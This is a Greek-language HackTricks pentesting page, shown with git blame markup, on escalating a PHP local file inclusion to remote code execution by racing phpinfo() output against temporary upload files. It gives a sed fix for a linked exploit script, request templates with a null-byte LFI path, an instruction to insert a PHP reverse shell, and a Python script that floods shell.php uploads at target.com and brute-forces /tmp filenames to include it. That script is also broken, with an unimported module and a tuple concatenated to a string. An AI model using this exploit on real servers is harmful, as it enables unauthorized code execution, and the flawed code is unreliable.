hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

79 lines
7.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: **Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται η phpinfo(), "file\_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον κατάλογο "/tmp".**
2022-04-20 19:39:32 +00:00
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
**Οδηγός HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να κάνετε:
2022-04-20 19:39:32 +00:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
2024-02-10 22:40:18 +00:00
Πρέπει να αλλάξετε επίσης το **payload** στην αρχή της εκμετάλλευσης (για ένα php-rev-shell για παράδειγμα), το **REQ1** (πρέπει να δείχνει στη σελίδα phpinfo και πρέπει να περιλαμβάνει το padding, δηλαδή: _REQ1 = """POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), και το **LFIREQ** (πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: _LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r --_ Ελέγξτε το διπλό "%" κατά την εκμετάλλευση του null char)
2022-04-20 19:39:32 +00:00
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
2024-02-10 22:40:18 +00:00
### Θεωρία
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
Εάν επιτρέπονται οι μεταφορτώσεις στο PHP και προσπαθήσετε να μεταφορτώσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό κατάλογο μέχρι ο διακομιστής να ολοκληρώσει το αίτημα, και στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
Στη συνέχεια, εάν έχετε βρει μια ευπάθεια LFI στον web server, μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν αυτό διαγραφεί.
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
Στα **Windows**, τα αρχεία αποθηκεύονται συνήθως στο **C:\Windows\temp\php**
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
Στο **Linux**, το όνομα του αρχείου συνήθως είναι **τυχαίο** και βρίσκεται στο **/tmp**. Καθώς το όνομα είναι τυχαίο, είναι απαραίτητο να **εξαχθεί από κάπου το όνομα του προσωρινού αρχείου** και να αποκτηθεί πρόσβαση πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής **$\_FILES** μέσα στο περιεχόμενο της συνάρτησης "**phpconfig()**".
2022-04-20 19:39:32 +00:00
**phpinfo()**
2024-02-10 22:40:18 +00:00
Το **PHP** χρησιμοποιεί έναν buffer μεγέθους **4096B** και όταν είναι **γεμάτος**, το **στέλνει στον πελάτη**. Στη συνέχεια, ο πελάτης μπορεί να **στείλει** **πολλά μεγάλα αιτήματα** (χρησιμοποιώντας μεγάλους κεφαλίδες) **μεταφορτώνοντας ένα ανάποδο php shell**, να περιμένει να επιστραφεί η **πρώτη μέρος της phpinfo()** (όπου βρίσκεται το όνομα του προσωρινού αρχείου) και να προσπαθήσει να **αποκτήσει πρόσβαση στο προσωρινό αρχείο** πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
2022-04-20 19:39:32 +00:00
2024-02-10 22:40:18 +00:00
**Σενάριο Python για να προσπαθήσει να βρει το όνομα με βίαιο τρόπο (εάν το μήκος = 6)**
2022-04-20 19:39:32 +00:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
2024-02-10 22:40:18 +00:00
requests.post('http://target.com/index.php?c=index.php', f)
2022-04-20 19:39:32 +00:00
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
2024-02-10 22:40:18 +00:00
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
2022-04-20 19:39:32 +00:00
print('[x] Something went wrong, please try again')
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>